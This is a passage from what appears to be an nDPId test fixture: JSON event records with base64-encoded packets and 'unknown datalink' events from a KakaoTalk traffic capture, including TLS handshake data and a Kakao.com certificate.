\/VLccaEg8vY7PgA0+0py+pNAgMBAAEwDQYJKoZIhvcNAQEFBQADggEBAGDrJdN5Ppz9OPTa3HDXzLQwJHAUfiipBZSXzoL\/uy1yA8U26AfNtg2jWEpQ8ijR6FlqlZLcJAiiKbRMWUuNkOUJlsmzZ7AOn+R1zo\/KyIIKnOlLOSWubKfFVXNqD1W9f0XUQIQ2bEb4Hp2TPGMTxuo6H6v5HXSSpMerZD7k73HKwZDU\/jVO10Zk5dVEruTzrBbq8qa6dAJ6FxvSZ74FqIv+LOAIok4AksbSUeKWI+q\/HFIO\/kDDpqvjTP9dO3NHPgBjO42w3TF\/CywiY5NXQizBUR7JsOxh255g2sA7XIjS1vYreiyrMDXuEy+gjnwQReXnI3sA9\/dVI5HUoqdx0F4WAwEABA4AAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":38,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":39,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069164,"pkt_ts_usec":110633,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTn6EAAPwb5iAoYUrxuTI8ygMgfkPcR2XiSeN3lgBAAgEvhAAABAQgKAAs\/NUTbaqw="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":39,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00838{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":40,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069164,"pkt_ts_usec":115912,"pkt_caplen":394,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":394,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAXrn6UAAPwb4QQoYUrxuTI8ygMgfkPcR2XiSeN3lgBgAgCLKAAABAQgKAAs\/NUTbaqwWAwEBBhAAAQIBAC3VG74GEarKyWIAfC1t3eoICv9n3lOUl6EdMRLyzveqov7VqeSb+vUiADXEjvo2Ph4IxpM0uTEgRWks1OlyfQ8CpwOpaewjRrLbZ7\/Fm\/zPeyjp\/P3pk4lJ3FI5zqrJ+HgUULMWeKr6+AzQok+GHygmyw546qkveS2ASJI9J6rEx+UzswY8LaAepNuCXF3tLOS+Q6cMYhvlQdUkmCdPIAcy6\/aHTOZuAgr4sXjBSc2SXkXTU6DK9\/jA8GFEWxiX8kUmiD3\/ackC7YfCdwyMFwNA3nsgDZ0dDkRS1g9MwGH7v5u3hV0JEYUJn7rk3hkF2jdqDJRkYOH1L3bPWYU69dEUAwEAAQEWAwEAMF\/O2kD5pbKQHNWRGYU5syhmJpfV2RQgn4wrixRc1VRvmCK4dV8HuEl4xxthAnsmJw=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":40,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00713{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":41,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069164,"pkt_ts_usec":376410,"pkt_caplen":302,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":302,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAR6w20AALwY\/rG5MjzIKGFK8H5CAyJJ43eX3Edq+gBgAIYO0AAABAQgKRNtrvAALPzUWAwEAqgQAAKYAAAAAAKD3FZSkod9AGBhY\/5X2U\/i0ZlUT19StXS97iyKpOUa4IW\/fyXON8W7ON1PPWxIsbCFlSHKfXZzC9eGaF0YcZ5Vky\/m+ZkbJO7AxjCAJ7euFadRchQdVzPIZk2Ua8ouf0\/EszfOXqattY5O6GsHl+975F0cZKKkRi1W0P3N5xnbqZMkVk7o5HtDEVFhjV0OWYTBoGuJ3dvVMfhwnAHMV19wcFAMBAAEBFgMBADA5UfCcpaWCvMf6Zr8mRRWhn9ER98GyiCk9DWgwLjFlP9ZoGBTEoN6zfrpW\/0ayigQ="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":41,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +01407{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":42,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069164,"pkt_ts_usec":383856,"pkt_caplen":814,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":814,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAx7n6kAAPwb2nAoYUrxuTI8ygMgfkPcR2r6SeN7PgBgAjeJ8AAABAQgKAAs\/UETba7wXAwEAIBvvuC5RYzDWnaqnbH1o7Ktn9dvL85R3LAH5aa2XEnIcFwMBAsBmJ8YFVU6zYvMMI9iApo7cllMiWx1a25hWXpnvKgRqXTB5\/mhfs3DBqLzcKMDo2nRWCwxFDm710AEGTCQGTX\/lCqQzbI8d7Yp+SgLe8YpIKIstzwJardOcXg8uesKrc\/ctOPBPovUpEiYQjeIoCM94qClAX2iyyVX5Tzk++5S9DbuzNDGHvuMYOzGMCS2nN5tMlDk0wZbiwvQOBwCEHpfR2AclzO8t\/NR6Sn\/spZHGRoBGj+PFC8fdp\/ImsVRwntRRCB8l6bOb7j\/acIRFnmTTu8DibQMhUKcibPCm5qk5ZDXRfTPE4RI5ktt4EFX\/3V9aV\/5dH45lzt99iKnIHeCpq9cBzNGDQ6l\/ZcJpW5VIMd1mriTajqnHyBrx1f1vjfMfSLmb2FpbQ12PAu8yUSp1r4iD7umlV+CwGzJDEPbc\/5O+CRdXa6D9LwqSuFERCyjpSBDxzZeEvlAKpK3l3IWGjw+D+coK4Ck87Uv7je2T8mLrIAWo+JLu1cgxzac3YTGIubhJluy90gFfj4lLYP0Nqsv+fbVMSy5I3bgi\/XkdY5ZPaW1CvWeo4LKPQjcOD1r0R+b2toUdMC9rnjchXawEKAIvmdj7FXfM62oBCGl7ToFbayuS61ZuYS9z3PeV7oPp8ETZoCCiejHlpzCh3dDll1an+iBNJMYi8ow7LdJF1zMDzDTMbPfMAGsBAaRAqyOxDaZJFH9L5pv85jZ+7FX3a9SVj3xkAAK\/JG3oKZWa3v\/fP\/uPfsaeP5ptLJiuWo+I4aptF39FBAGdKNpAjWJgK6b7T8OxB+NalE2+ZJs1+PkUkL3fb2R+YZbHyyIjQJk96Ymq\/PmqLH1tL4pDcFySacIiJJd9c3jA9B4OoNCvczaqVLtQZgCssmMyxuLsEnTAn0uDn0ZTr0s1yZhULYn3XRTIMBw2QE14EYYoq6baKw=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":42,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +01084{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":43,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069164,"pkt_ts_usec":636878,"pkt_caplen":574,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":574,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAi6w3EAALwY+m25MjzIKGFK8H5CAyJJ43s\/3Ed2ogBgAJPtGAAABAQgKRNtstAALP1AXAwEAIOWzn8HB\/tqkYzSA8nop661iIwFvdbgU68uFKzQmKqwTFwMBAdAthL\/K4LnwxppTKehQ5EVYpXo8Lhh0qlGte2RpVmT0dai7F3WDCbEfF0MAItzCfNMrO60nrwfgR3yG7H3SrJhOzafi1R4AhzFYQzkRnME2pRPidrXe4jLLU\/MB7MDdx59Hhhl0nTZUpj\/9+npmAOuF2tYvW8dhRT5ZDiGHICcrSNDk2VUifjAHEt9sTKO00QGKRQFZ2+6MSocTvQyg20qqKf89BcNmcoz0PkyFJTPKKLlz6nauIPSDM\/LGc2p4gtCPyUlWUPY2P1N+iJVvbNw4E\/LRI7fAt8DrttaBg+W+q7NS+Bp3dPbTll59JJQ3zs\/D5mUqj6ldalTB8\/jZmaTKMuqHOfKYFQUVvnJ8JWRhQgHBDONWSD2MNAc4kQO+mgBaHW0Dw6y7KWFYXJMyiCqIRtBEwNpHxbbIbLN+CwjcLgPVx3ySvbdCZM41XkjGJLP5RX9\/X+fnpkqT9xvD6cq8h8JyYVUYGiUs4oSIZbYU0BvHS7R+NgiSEorO\/\/ZzFd0wjxLbhRhnJzoE8ey\/TI0CS9ASs0zq5LVdnbCktHCBQQTKcLZjyffmZkyeKdyg\/wuAPFHQD2MZhcQtopspUySamGmUiJuiy96L0dGEIwQ9DA=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":43,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00986{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":44,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069164,"pkt_ts_usec":639014,"pkt_caplen":504,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":504,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAehbLUAALQbyHWf2OfsKGFK8H5DHTSs\/CJfLDfl0gBgADvERAAABAQgKmPiDOwALOJuwAQAAA6yR+4gP88yNN9XOxadg3oGkXkBJKtT\/+3vFyl0cDdeYoXWM1uK027YSyO9hZg1Gvm3tZm04snibEaA+\/xlHu8rXrS5m+CjS\/v3uHnT1QWvK\/65YYegv\/3Y43\/q6tVJQIfoChZTc0LzybFIVyuSJXGU5yi93vTf8XWM4GZtACLo65shEy4YWK69Jg1iMsCAE8WRNHWlsJp2gpZTJ2kcOWzLEyno3Wau2\/S31nawgycOJ8ZEJ0xJ+016NvjXdKTO+Muc2xIt8Lsvmo25frywI656aipbptXEhQ+39O+Uxz929SydwPRIYhqkwO66J8P5dg4L1grEoFkOZkdYVssJXoRfm1kIVTrIxAk23Da6L6eSUEXEdJz4lBRxNkbULaqLJsSP\/ViBaYpxE4FVpm5AWGaXIZw05KO85muYxDTaIrlCxrOOeElx1lZ2sTb9E7a+dN\/MgV8+zT25eTNErC+ftHZJady9DcQEn64UlcG3D1THcHsAffBgf\/+gBiaAdiwnHPwrfIYEB8Ab3Ht6VazhwXyfbw05y+XREZOfpyaR\/bRXu7OxXjpJAX93HCsbLqhLk"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":44,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":45,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069164,"pkt_ts_usec":646094,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTzb0AAPwZJjwoYUrxn9jn7x00fkMsN+XQrPwpLgBAArTq3AAABAQgKAAs\/apj4gzs="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":45,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00975{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":46,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069164,"pkt_ts_usec":656714,"pkt_caplen":498,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":498,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAeIKLkAAjgb4AIuWAH0KGFK8Abu3Y2Ij1H9RKASKUBifhj2IAAC2AQAA7+nGaLVdqRc+Gkt7POZ3izYarM8cfC\/oKc57w3ON8GY\/K1szNYS+6Yytrgv9fJ110+svPWy4JXfqhqsy8n\/Qi0EhBo8vKa7TtIo39CMQrfI1DyAke3OCHinKUbcE7JofE08wNW\/SYiLVq+ch1jInTJlBtTETD6sakW5t+\/pqslJuJu6FErHiOcJlRXUhJ\/w2UMRtIuPzDgq66Pu7iQ4cPuLk01HGBYGyY\/ec8L+8kz8C0iE6HOIH6YT0BKGthN3UTgwPbBq6O4DQcUiN2hgrUDIxq8uw9ZbWllzKNEYrEa8k7r3ZVHoPDQdXWrcQvhxam6oeYyK7V8McoNRiSIayjOQMTgXnysBnscEyik7me1vByK2C0l2He7bBFWQmrSmeZXMFh2H60fcsxZbAlEWK0siSqlB7jvAlTaG4udBSGXSTj4rEL2MZLSGqP2XF68ncz4+WzMi\/pNklQw9YyvrinQJFb3QOjkMePALF9ilvEQ+wMia1\/U8MBwJo9G9KKjVSCXjRCZRheUcgsdenusXElIUwOqnMT+7rwPfeomV3b9fbsOdbRa7VkQEi4icvvEwgda+Sg6Qy"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":46,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":47,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069164,"pkt_ts_usec":657324,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjTg0AAQAZ+ZQoYUryLlgB9t2MBu1EoBIpiI9Y5UBCiGOkBAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":47,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":48,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069164,"pkt_ts_usec":679541,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTn60AAPwb5hQoYUrxuTI8ygMgfkPcR3aiSeODJgBAAmkJyAAABAQgKAAs\/bkTbbLQ="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":48,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":49,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069164,"pkt_ts_usec":724066,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF7zcEAAPwZJZAoYUrxn9jn7x00fkMsN+XQrPwpLgBgArfpVAAABAQgKAAs\/cpj4gzsmAAAAA6yR+4gP88yNN9XOxadg3oGk1EFJKl7++3vOx1oJEMk6hPTyHHo="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":49,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":50,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069164,"pkt_ts_usec":839667,"pkt_caplen":98,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":98,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFLThEAAQAZ+OgoYUryLlgB9t2MBu1EoBIpiI9Y5UBiiGP3wAAAmAAAA7+nGaLVdqRc+Gkt7POZ3izYaHM4cfJ\/pKc5wznSY7XhZjDJkzsc="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":50,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":51,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069164,"pkt_ts_usec":894873,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADRbLkAALgby0Gf2OfsKGFK8H5DHTSs\/CkvLDfmegBAADjopAAABAQgKmPiENgALP3I="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":51,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":52,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069164,"pkt_ts_usec":910803,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACgKL0AAjwb4uYuWAH0KGFK8Abu3Y2Ij1jlRKAS0UBCfXOA4AAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":52,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":53,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069164,"pkt_ts_usec":966834,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADxKlUAAQAaV1AoYUrxuTI8y5ekjKS1pjaoAAAAAoAI2sFqBAAACBAV4BAIICgACxz8AAAAAAQMDBQ=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":53,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00405{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":54,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069165,"pkt_ts_usec":114875,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADwAAEAALgbyaW5MjzIKGFK8Iynl6dfwna4taY2roBI4kADPAAACBAV4BAIICkTbbpQAAsc\/AQMDCQ=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":54,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":55,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069165,"pkt_ts_usec":115149,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADRKlkAAQAaV2woYUrxuTI8y5ekjKS1pjavX8J2vgBABtlp5AAABAQgKAALHTkTbbpQ="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":55,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00583{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":56,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069165,"pkt_ts_usec":129523,"pkt_caplen":210,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":210,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMJKl0AAQAaVTAoYUrxuTI8y5ekjKS1pjavX8J2vgBgBtm0bAAABAQgKAALHT0TbbpQWAwEAiQEAAIUDAc0IMYnVVZMQnojSelEd1V0KoNgUEJ7I0Qu6wTcqDhwtAAAYwBTACsAPwAUANcATwAnADsAEAC8AlgD\/AQAARAALAAQDAAECAAoANAAyAA4ADQAZAAsADAAYAAkACgAWABcACAAGAAcAFAAVAAQABQASABMAAQACAAMADwAQABEAIwAA"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":56,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":57,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069165,"pkt_ts_usec":311164,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADTyhUAALwb+625MjzIKGFK8Iynl6dfwna8taY45gBAAH2ZiAAABAQgKRNtvZgACx08="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":57,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +01544{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":58,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069165,"pkt_ts_usec":314856,"pkt_caplen":920,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":920,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAA4jyhkAALwb7lm5MjzIKGFK8Iynl6dfwna8taY45gBgAH9xBAAABAQgKRNtvZgACx08WAwEANQIAADEDAVU9H62U6W1lEs2MeG\/MWzGrR859HfrcOD055G7M8hnkAAAvAAAJ\/wEAAQAAIwAAFgMBAwwLAAMIAAMFAAMCMIIC\/jCCAeYCCQC35xiTrUC9NTANBgkqhkiG9w0BAQUFADBBMQswCQYDVQQGEwJLUjEOMAwGA1UEBwwFU2VvdWwxDjAMBgNVBAoMBUtha2FvMRIwEAYDVQQDDAlLYWthby5jb20wHhcNMTExMjA1MDkxOTI1WhcNMjExMjAyMDkxOTI1WjBBMQswCQYDVQQGEwJLUjEOMAwGA1UEBwwFU2VvdWwxDjAMBgNVBAoMBUtha2FvMRIwEAYDVQQDDAlLYWthby5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCVZgoiuC3vyjGQwWN1Y\/G2gLXrzYhnrYdBpXUgl5541Si1DUFeXudmto2X8JviTwtPM9bOMLk8c2gLTUKJmOdptp9qXnubsD89+qNi++nC9dmz3LRvRaWz6J0w7DFv5AsMOJ6cjJsqNbLBGSrO1bhrnXo6ZUpil+wYGT35WXJhxIkgnTWohNEsT6RlAImB9cuCGQz8DM7bHDsPNGhu5sjgZnnk+AeKK8FY9VV9dESDYb4of9Dakayp+JrR5MYVfASmd\/mbBSqJ+opCRNyVxwfhKPWkeZLD7Ahtlj6AFmso\/rwThAqCi3wI8KUooZ95z\/VLccaEg8vY7PgA0+0py+pNAgMBAAEwDQYJKoZIhvcNAQEFBQADggEBAGDrJdN5Ppz9OPTa3HDXzLQwJHAUfiipBZSXzoL\/uy1yA8U26AfNtg2jWEpQ8ijR6FlqlZLcJAiiKbRMWUuNkOUJlsmzZ7AOn+R1zo\/KyIIKnOlLOSWubKfFVXNqD1W9f0XUQIQ2bEb4Hp2TPGMTxuo6H6v5HXSSpMerZD7k73HKwZDU\/jVO10Zk5dVEruTzrBbq8qa6dAJ6FxvSZ74FqIv+LOAIok4AksbSUeKWI+q\/HFIO\/kDDpqvjTP9dO3NHPgBjO42w3TF\/CywiY5NXQizBUR7JsOxh255g2sA7XIjS1vYreiyrMDXuEy+gjnwQReXnI3sA9\/dVI5HUoqdx0F4WAwEABA4AAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":58,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":59,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069165,"pkt_ts_usec":315131,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADRKmEAAQAaV2QoYUrxuTI8y5ekjKS1pjjnX8KEDgBAB61p5AAABAQgKAALHYkTbb2Y="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":59,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00836{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":60,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069165,"pkt_ts_usec":337348,"pkt_caplen":394,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":394,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAXpKmUAAQAaUkgoYUrxuTI8y5ekjKS1pjjnX8KEDgBgB60dYAAABAQgKAALHZETbb2YWAwEBBhAAAQIBAG0K85NVFhEZ7hFhOhKGxgyRETHunT8FGQj+gdYeJNGhl2iTodXARNpfVdu2p053PylRQ5i17tdvDyWHd72xyqohbELbToOfcGXrnB1e7OX6cfVBE2zPFq0LzHRh4WqlvJXmbdFC2c4\/OpXZ2J+AGS8oH4hFdJk55dD0Rqcg8k1yD8PtOCz3JTFofSJ5kPB9RlClZrWGmobdIODyW\/2SxycPTbIi3MtCy\/FJ+NV\/9XPOkhUES1aafiJUriL+AMVrSMXheyGDPbeIKAuUk9lHZQ+IKt5wU9hANFmjVausdYO\/AuzpyLfh859Mv2bMtHxFPWKKtvvMTDOSS378pAbYlfUUAwEAAQEWAwEAMBFMJwdLm84p2UKtLmvOwh+jBKFAAqnH7y6vsO7dMR4yZ5w0K8GnLcpOy\/dsnWL+mg=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":60,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00713{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":61,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069165,"pkt_ts_usec":543250,"pkt_caplen":302,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":302,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAR7yh0AALwb9\/25MjzIKGFK8Iynl6dfwoQMtaY9\/gBgAIdQvAAABAQgKRNtwRAACx2QWAwEAqgQAAKYAAAAAAKD3FZSkod9AGBhY\/5X2U\/i0MpxTcOThL2vCJOwLIHctIhJhbVKqgMfsPsuGU5ppnVaNIPFHIucQJJetyUxYwc8IhWUYpft5eIUS37zm3nqwElJYuHYbM1VBVwEB2pGGvRa\/DZ9VlXyqfltmwRg2q1MNtPiUKvMPFjKqhG9\/ANXnhI08gMpLwXhXDj2NqXHPjC\/WZDwihyPmSLrv32HhPTuuFAMBAAEBFgMBADCrg01tB59jb9CJJs57uREHyiJPkvP6NWrj9Js4EKD9Il3eVHOg10A0ygs0IDyUSAc="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":61,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +01341{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":62,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069165,"pkt_ts_usec":553046,"pkt_caplen":766,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":766,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAu5KmkAAQAaTHQoYUrxuTI8y5ekjKS1pj3\/X8KHtgBgCILNgAAABAQgKAALHekTbcEQXAwEAINm1cNavLRNZp1pZY19HJVNlNQl6RPAjcGwjjzMfyU8KFwMBApA2DxoBwb0p9+HKSAqOqmoMv1RPpvr+UxOwddeZY7G\/Avd+vfJweoewxIwacaHoqMlPeRv50ipwmDnyqJYbxRYxW+pjKET6SQexMND677eBppHYZtfz5f9ho6VNzhUXi6dEnJvSnGIHss0qB64LM8\/NC8Dchqk7xEtC6UyIz1ZPxsbl2KKSJ6x9zs5SOvOvinqJ8i0d7eSlAvThyXW0JgPyE05CpBQjG9in6+VLiRNqg5eItsUtdU7Wn09jBccmfbF0eTpgvn0Kf6UVpmp9Tk12GuBSFBOcFaYlcxyrjM2OxytFW9fZ1O7DJjL8UP\/gk20bA1aYdGzRSAdmAGx4NO\/8HMCwEXQ7RFd361HgRFAb3vdZIS\/\/JTY